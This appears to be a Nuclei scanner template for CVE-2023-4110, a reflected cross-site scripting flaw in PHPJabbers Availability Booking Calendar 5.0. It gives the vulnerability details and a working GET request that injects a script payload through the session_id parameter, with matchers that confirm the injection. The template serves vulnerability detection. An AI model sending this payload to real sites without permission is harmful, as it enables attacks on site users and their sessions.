id: CVE-2023-4110

info:
  name: PHPJabbers Availability Booking Calendar 5.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A vulnerability has been found in PHP Jabbers Availability Booking Calendar 5.0 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file /index.php. The manipulation of the argument session_id leads to cross site scripting. The attack can be launched remotely.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the session_id parameter, potentially stealing user session cookies and accessing sensitive booking information from the calendar system.
  remediation: |
    Update PHP Jabbers Availability Booking Calendar to a version newer than 5.0 that properly sanitizes the session_id parameter and encodes output.
  reference:
    - http://packetstormsecurity.com/files/173926/PHPJabbers-Availability-Booking-Calendar-5.0-Cross-Site-Scripting.html
    - https://vuldb.com/?id.235957
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4110
    - https://vuldb.com/?ctiid.235957
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4110
    cwe-id: CWE-79
    epss-score: 0.01766
    epss-percentile: 0.7517
    cpe: cpe:2.3:a:phpjabbers:availability_booking_calendar:5.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phpjabbers
    product: availability_booking_calendar
  tags: cve2023,cve,packetstorm,xss,phpjabber,jabber,phpjabbers,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?controller=pjFront&action=pjActionGetBookingForm&session_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&cid=1&view=1&month=7&year=2023&start_dt=&end_dt=&locale=&index=0"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "Booking", "Arrival", "><script>alert(document.domain)</script>")'
        condition: and
# digest: 4b0a004830460221008af3e9ea2b2bf9e452ef5e6b3a00cf430ca7623d1b2ef585bbe860c44bce6b96022100f8b9cd6a101db58e38c0957efe34a3d3aa2f11aa64d38cab9888dbc919afe2d9:922c64590222798bb761d5b6d8e72950